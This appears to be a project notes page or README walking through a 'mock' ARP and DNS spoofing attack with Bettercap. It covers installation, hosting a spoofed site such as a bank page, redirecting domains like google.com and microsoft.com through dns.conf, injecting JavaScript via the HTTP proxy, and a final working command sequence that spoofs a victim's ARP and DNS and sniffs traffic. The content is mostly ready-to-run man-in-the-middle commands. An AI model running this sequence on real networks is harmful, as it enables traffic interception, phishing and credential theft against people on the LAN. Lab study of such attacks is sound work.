ベッターキャップ！

Bettercap - Spoofing

Prepare Installation (Update/Upgrade VM)

```
$ sudo apt-get update
$ sudo apt-get upgrade
```

Install bettercap

```
$ sudo apt-get -y install bettercap
```

OR

Install bettercap using Debian Method

```
$ sudo apt update
$ sudo apt install golang git build-essential libpcap-dev
libusb-1.0-0-dev libnetfilter-queue-dev
```

Then pull build from github

```
$ go install github.com/bettercap/bettercap@latest
```

– bettercap installation complete —

Recommended install (tool)

```
$ sudo apt-get install build-essential libpcap-dev net-tools
```

Mock ARP/DNS Spoofing Attack

Steps:

1. Obtain victims IP & default gateway
2. Host a local proxy server, acting as a spoofed website (bank website, etc) (Apache/Xampp Server)
3. Obtain IP & Gateway of the hacker's proxy server
4. DNS Spoofing of router using BetterCap on ubuntu
    a. *$ set dns.spoof.domains <example.com>* (target website)
    b. *$ set dns.spoof.address <IP>* (attacker proxy's address)
    c. $ dns.spoof on (turns on the module dns.spoof)
    d. $ Net.sniff on
    e. $ Net.sniff.output #If set, the sniffer will write captured packets to this pcap file.

Resources:

https://psychovik.medium.com/dns-spoofing-using-bettercap-24a8435f7a03

-Useful tutorial

https://www.bettercap.org/modules/ethernet/net.sniff/

-Bettercap documentation

https://dev.to/thearjun/locally-host-website-using-apache2-ubuntu-server-217j

-Hosting a apache2 server locally

-Hosting a bettercap proxy locally

Useful documentation for Bettercap commands

parameter	default	description
`net.sniff.output`		If set, the sniffer will write captured packets to this pcap file.
`net.sniff.source`		If set, the sniffer will read from this pcap file instead of the current interface.
`net.sniff.verbose`	`false`	If true, every captured and parsed packet will be sent to the events.stream for displaying, otherwise only the ones parsed at the application layer (sni, http, etc).
`net.sniff.local`	`false`	If true it will consider packets from/to this computer, otherwise it will skip them.
`net.sniff.filter`	`not arp`	BPF filter for the sniffer.
`net.sniff.regexp`		If set, only packets with a payload matching this regular expression will be considered.
`net.fuzz.layers`	`Payload`	Comma separated types of layer to fuzz.
`net.fuzz.rate`	`1.0`	Rate in the [0.0,1.0] interval of packets to fuzz.
`net.fuzz.ratio`	`0.4`	Rate in the [0.0,1.0] interval of bytes to fuzz for each packet.
`net.fuzz.silent`	`false`	If true it will not report fuzzed packets.

HTTP Proxy

Helpful Resource: Youtube video on utilizing Bettercap's built-in http proxy https://www.youtube.com/watch?v=m-H9W9ZOzBI

Run bettercap on interface of your choice

If installed with package manager:

```
Sudo bettercap -iface
```

OR

If installed and made manually:

```
Cd to bettercap directory, then run
Sudo ./bettercap -iface ens33
```

```
set http.proxy.injectjs [path/location of your javascript file]
http.proxy on
```

Dns.conf file:

```
# Empty lines or lines starting with # will be ignored.

# example: redirect *.google.com to the attacker ip address
#local .*google\.com

# example: redirect *.microsoft.com to 10.10.10.10
#10.10.10.10 .*microsoft\.com

IP_to_redirect .*neverssl\.com
IP_to_redirect .*microsoft\.com
local .*google\.com
```

ARP + DNS Spoofing - Final

Final Working Commands for DNS Spoofing on LAN

1. $ set arp.spoof.fullduplex true
2. $ set arp.spoof.targets <IP> (victim up)
3. $ set dns.spoof.address <IP> (server ip)
4. $ set dns.spoof.all true
5. $ set dns.spoof.domains testingmcafeesites.com,*.testingmcafeesites.com (http domain)
6. $ arp.spoof on
7. $ net.sniff on
8. $ dns.spoof on

Created a caplet to run this in a script. Located in "scripts" directory on GitHub. To do it yourself and run the script:

1. Create .cap file
2. Run command: $ sudo bettercap -caplet /path/to/file